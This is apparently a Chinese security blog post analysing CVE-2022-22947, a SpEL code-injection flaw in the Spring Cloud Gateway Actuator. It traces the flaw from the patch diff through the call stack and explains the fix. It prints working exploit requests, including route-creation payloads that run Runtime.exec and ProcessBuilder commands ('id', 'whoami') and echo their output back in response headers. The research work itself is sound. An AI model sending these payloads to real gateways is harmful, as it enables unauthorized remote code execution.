Spring Cloud gateway是什么?
Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关。网关作为流量的,在微服务系统中有着非常作用,网关常见的功能有路由转发、权限校验、限流控制等作用
漏洞描述:
当启用、暴露和不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。
漏洞复测:

POST /actuator/gateway/routes/test1 HTTP/1.1Host: 127.0.0.1:8889Pragma: no-cacheCache-Control: no-cachesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"Sec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8889/actuator/Content-Type:application/jsonContent-Length: 184{"id":"test1","filters":[ { "name":"RewritePath", "args":{ "test":"#{T(java.lang.Runtime).getRuntime().exec(\"open /System/Applications/Calculator.app\")}" } }]}
刷新触发请求:

POST /actuator/gateway/refresh HTTP/1.1Host: 127.0.0.1:8889Pragma: no-cacheCache-Control: no-cachesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"Sec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8889/actuator/Content-Type:application/json
直接触发rce:

从0开始漏洞分析:
漏洞预警:https://tanzu.vmware.com/security/cve-2022-22947
受影响的版本锁定:
Spring Cloud Gateway3.1.03.0.0 to 3.0.6Older, unsupported versions are also affected

直接去github查看:
看diff,对比:
https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split
全局搜索.java等关键字:
关键代码位置:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split#diff-7aa249852020f587b35d07cd73c39161c229700ee1e13a9a146c114f542083bc

通过代码,很容易看出来,这是spel注入,符合前面漏洞预警说的代码注入:

现在sink找到了,就差source,看情况是这样子的
除了这样找sink,还可以通过commit查看,无需对比,一样是关键字搜索:
拉到漏洞修复版本:https://github.com/spring-cloud/spring-cloud-gateway/commits/v3.1.1

看到spel,盲猜spel注入,跟进去看看:
https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b

好了,下面开始第二步分析,从下往上找,目前已基础判断出sink为spel注入,从下往上走:
漏洞环境搭建好了,所以我直接去idea里面打开路径:
spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
idea里面对应的路径:
springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ShortcutConfigurable.class:
可通过Structure查看结构体:
在这里调度出来:


这里直接在sink文件断一刀:
42行

重启服务打exp:

断下来了,拿到利用链:
getValue:58, ShortcutConfigurable (org.springframework.cloud.gateway.support)normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)apply:-1, 872736196 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$769)onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)subscribe:165, FluxIterable (reactor.core.publisher)subscribe:87, FluxIterable (reactor.core.publisher)subscribe:8469, Flux (reactor.core.publisher)onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)request:230, FluxIterable$IterableSubscription (reactor.core.publisher)onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)subscribe:165, FluxIterable (reactor.core.publisher)subscribe:87, FluxIterable (reactor.core.publisher)subscribe:8469, Flux (reactor.core.publisher)onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)request:230, FluxIterable$IterableSubscription (reactor.core.publisher)onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)subscribe:165, FluxIterable (reactor.core.publisher)subscribe:87, FluxIterable (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)subscribeWith:4515, Mono (reactor.core.publisher)subscribe:4371, Mono (reactor.core.publisher)subscribe:4307, Mono (reactor.core.publisher)subscribe:4279, Mono (reactor.core.publisher)onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)publishEvent:421, AbstractApplicationContext (org.springframework.context.support)publishEvent:378, AbstractApplicationContext (org.springframework.context.support)refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)apply:-1, 290554969 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$861)trySubscribeScalarMap:152, FluxFlatMap (reactor.core.publisher)subscribeOrReturn:53, MonoFlatMap (reactor.core.publisher)subscribe:57, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribeNext:236, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)onComplete:203, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)onComplete:181, MonoFlatMap$FlatMapMain (reactor.core.publisher)complete:137, Operators (reactor.core.publisher)subscribe:120, MonoZip (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)subscribe:51, MonoIgnoreThen (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)onNext:157, MonoFlatMap$FlatMapMain (reactor.core.publisher)onNext:74, FluxSwitchIfEmpty$SwitchIfEmptySubscriber (reactor.core.publisher)onNext:82, MonoNext$NextSubscriber (reactor.core.publisher)innerNext:282, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)onNext:863, FluxConcatMap$ConcatMapInner (reactor.core.publisher)onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)request:2398, Operators$ScalarSubscription (reactor.core.publisher)request:139, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)request:169, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)set:2194, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)onSubscribe:2068, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)onSubscribe:96, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)onSubscribe:152, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)subscribe:55, MonoJust (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)drain:451, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)onSubscribe:219, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)subscribe:165, FluxIterable (reactor.core.publisher)subscribe:87, FluxIterable (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)subscribe:51, MonoIgnoreThen (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:55, MonoDeferContextual (reactor.core.publisher)onStateChange:967, HttpServer$HttpServerHandle (reactor.netty.http.server)onStateChange:677, ReactorNetty$CompositeConnectionObserver (reactor.netty)onStateChange:478, ServerTransport$ChildObserver (reactor.netty.transport)onInboundNext:570, HttpServerOperations (reactor.netty.http.server)channelRead:93, ChannelOperationsHandler (reactor.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)channelRead:220, HttpTrafficHandler (reactor.netty.http.server)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel)fireChannelRead:327, ByteToMessageDecoder (io.netty.handler.codec)channelRead:299, ByteToMessageDecoder (io.netty.handler.codec)channelRead:251, CombinedChannelDuplexHandler (io.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)processSelectedKey:722, NioEventLoop (io.netty.channel.nio)processSelectedKeysOptimized:658, NioEventLoop (io.netty.channel.nio)processSelectedKeys:584, NioEventLoop (io.netty.channel.nio)run:496, NioEventLoop (io.netty.channel.nio)run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent)run:74, ThreadExecutorMap$2 (io.netty.util.internal)run:30, FastThreadLocalRunnable (io.netty.util.concurrent)run:748, Thread (java.lang)
最上层是触发sink结束了
往下看几层:
调度了ShortcutType.DEFAULT枚举重写的normalize方法:
这是方法,下一层就是调用了:
org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ConfigurationService.class
protected Map<String, Object> normalizeProperties() { return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties(); }

查看属性value:


其中的key和value就是我们的fiter里面的属性内容:

再往下看一层:
name为我们自定义的RewritePath

结论:引用y4er大佬的话:
这个normalizeProperties()是对filter的属性进行解析,会将filter的配置属性传入normalize中,最后 进入getValue执行SPEL表达式造成SPEL表达式注入。
现在是有exp,所以分析出来的,漏洞原理也了解了!但是还是有些点没理解清楚,需要我们刨根问底:
一些疑惑点:
(1)参数传递为什么是这样的?
(2)name设置为RewritePath,为什么要这样设置?

漏洞原理正向分析:
真的想彻底理解漏洞,更需要用户贴近业务:
查看官方文档介绍说明:
https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
关键点在这里,官方文档说明可以使用这个接口去创建和删除特定路由:

那说明我们的spring cloud下是存在/routes/这个目录的,以开发经验来看,一般路径申明都在controller层,简单搜索下利用堆栈下的关键字:

refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
去这个函数去看看
完全一致:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class

这个就是我们的source,现在又回到了老问题,这个source是怎么触发到sink的?
因为代码量不是很大,直接拿出来分析:
@PostMapping({"/routes/{id}"}) public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) { return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> { return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> { r.setId(id); log.debug("Saving route: " + route); return r; })).then(Mono.defer(() -> { return Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build()); })); }).switchIfEmpty(Mono.defer(() -> { return Mono.just(ResponseEntity.badRequest().build()); })); }
先看可控点:
@PathVariable String id, @RequestBody RouteDefinition route
路径就是自定义的id,这个不用管,跟进RouteDefinition类:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/route/RouteDefinition.class

可以这里面定义了好几个集合,有List的,也有Map的
随便找个继续跟集合的返回类,发现套娃好几层呢:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/FilterDefinition.class

这就是走到底的了,会发现他是name+agrs集合
这样就对上了:


现在要分析的是RewritePath哪里来的:
继续回到代码:
return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> { return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {
发现我们可控的变量进入了这个函数了,比较重要的就是flatMap了,这玩意和map类似,不同的是其每个元素转换得到的是Stream对象,会把子Stream中的元素压缩到父集合中, 人话就是后面的是压缩的子元素,前面的返回的是压缩后的父元素
跟进this::validateRouteDefinition:

在这个方法下下个断点:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class

anyMatch:判断的条件里,任意一个元素成功,返回true
allMatch:判断条件里的元素,所有的都是,返回true
noneMatch:与allMatch相反,判断条件里的元素,所有的都不是,返回true
看着难看,利用Evuluate循环打印:
for(int i=0;i<this.GatewayFilters.size();i++){ System.out.println(GatewayFilters.get(i).name());}

就是这些:
AddRequestHeaderMapRequestHeaderAddRequestParameterAddResponseHeaderModifyRequestBodyDedupeResponseHeaderModifyResponseBodyCacheRequestBodyPrefixPathPreserveHostHeaderRedirectToRemoveRequestHeaderRemoveRequestParameterRemoveResponseHeaderRewritePathRetrySetPathSecureHeadersSetRequestHeaderSetRequestHostHeaderSetResponseHeaderRewriteResponseHeaderRewriteLocationResponseHeaderSetStatusSaveSessionStripPrefixRequestHeaderToRequestUriRequestSizeRequestHeaderSize
可以看到我们的RewritePath就在其中
修复方案:
修改为StandardEvaluationContext为SimpleEvaluationContext
spel注入类常见的有两种:
StandardEvaluationContext 更加灵活 SimpleEvaluationContext 安全的,有限制的

不出网的话,我们上面的方法就不是很好使,需要调试出回显方法?
网上出了好多回显示案例,找一个复测下:
spring cloud回显测试:

POST /actuator/gateway/routes/greetdawn HTTP/1.1Host: 127.0.0.1:8889User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: enContent-Type: application/jsonConnection: closeContent-Length: 332{ "id": "greetdawn", "filters": [{ "name": "AddResponseHeader", "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"} }],"uri": "http://example.com","order": 0}}
刷新:

访问创建的路由地址:
GET /actuator/gateway/routes/greetdawn HTTP/1.1Host: 127.0.0.1:8889User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: enConnection: close

spring cloud gateway 回显原理分析:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/factory/AddResponseHeaderGatewayFilterFactory.class

把配置内容,添加到了响应请求头
除了这个还有很多,找类似点,发现当name为:
AddRequestHeaderAddRequestParameterAddResponseHeaderSetRequestHeader..........
任意一个,均可以回显

POST /actuator/gateway/routes/SetRequestHeader HTTP/1.1Host: 127.0.0.1:8889User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: enContent-Type: application/jsonConnection: closeContent-Length: 293{ "id": "After", "filters": [{ "name": "SetRequestHeader", "args": {"name": "SetRequestHeader","value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('/bin/bash', '-c', 'whoami').start().getInputStream()).next()}"} }],"uri": "http://example.com","order": 0}}
刷新:

访问:

漏洞批量检测:
nuclei上看到有人提了相关检测方法:
https://github.com/wdahlenburg/nuclei-templates/blob/06db2450edaa2de7c371c2bf31226109ecb5e6c1/misconfiguration/springboot/springboot-gateway.yaml
技术参考:
(1)y4er p师傅知识星球
(2)spring cloud文档:https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
(3)最好的spel注入学习文章:https://cryin.github.io/blog/SpEL injection/